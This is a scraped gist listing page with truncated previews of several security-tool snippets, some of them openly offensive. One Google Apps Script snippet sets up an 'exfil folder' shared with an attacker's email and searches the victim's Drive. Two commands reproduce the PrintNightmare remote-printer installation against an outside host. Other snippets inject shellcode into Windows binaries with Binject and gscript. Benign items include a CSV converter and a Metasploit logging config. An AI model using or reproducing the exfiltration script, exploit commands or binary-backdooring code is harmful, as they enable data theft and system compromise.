This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function driveSearch() { | |
// Setup the exfil folder | |
var user = Session.getActiveUser().getEmail(); | |
var folder = DriveApp.createFolder(user); | |
var attackerEmail = "[email protected]"; | |
folder.addViewer(attackerEmail); | |
// Search Drive | |
var files = DriveApp.searchFiles('hidden = false'); | |
// Iterate through files in Drive |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!env python | |
import jsonlines | |
import argparse | |
import csv | |
def parseArgs(): | |
parser = argparse.ArgumentParser(description='Convert CSV to JSONL') | |
parser.add_argument('file', type=str, help='csv file to read') | |
args = parser.parse_args() | |
print("Processing CSV File: " + args.file) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password | |
rundll32 printui.dll,PrintUIEntry /in /n"\\printnightmare.gentilkiwi.com\Kiwi Legit Printer" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-PasswordRoll | |
{ | |
<# | |
.SYNOPSIS | |
This script can be used to set the local account passwords on remote machines to random passwords. The username/password/server combination will be saved in a CSV file. | |
The account passwords stored in the CSV file can be encrypted using a password of the administrators choosing to ensure clear-text account passwords aren't written to disk. | |
The encrypted passwords can be decrypted using another function in this file: ConvertTo-CleartextPassword | |
Function: Invoke-PasswordRoll | |
Author: Microsoft | |
Version: 1.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
/* | |
Example Go program with multiple .NET Binaries embedded | |
This requires packr (https://github.com/gobuffalo/packr) and the utility. Install with: | |
$ go get -u github.com/gobuffalo/packr/packr | |
Place all your EXEs are in a "binaries" folder |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"io/ioutil" | |
"os" | |
"os/exec" | |
"strconv" | |
"syscall" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Example gscript template | |
// Title: Binjection Example | |
// Author: ahhh | |
// Purpose: Replaces an existing binary with a copy that has been backdoored with shellcode | |
// Gscript version: 1.0.0 | |
// ATT&CK: | |
//priority:150 | |
//timeout:150 | |
//import:/tmp/loader.bin |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package gbj | |
import( | |
"github.com/Binject/binjection/bj" | |
) | |
func PeBinject(sourceBytes []byte, shellcodeBytes []byte) ([]byte, error) { | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import( | |
"io/ioutil" | |
"fmt" | |
"github.com/Binject/binjection/bj" | |
) | |
var ( | |
example_path = "example.exe" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
spool /root/.msf4/spool.log | |
setg ConsoleLogging true | |
setg verbose true | |
setg LogLevel 5 | |
setg SessionLogging true | |
setg TimestampOutput true | |
setg PromptTimeFormat %Y%m%d.%H%M%S%z | |
setg PROMPT %T S:%S J:%J | |
setg ExitOnSession false | |
setg DisableCourtesyShell true |
NewerOlder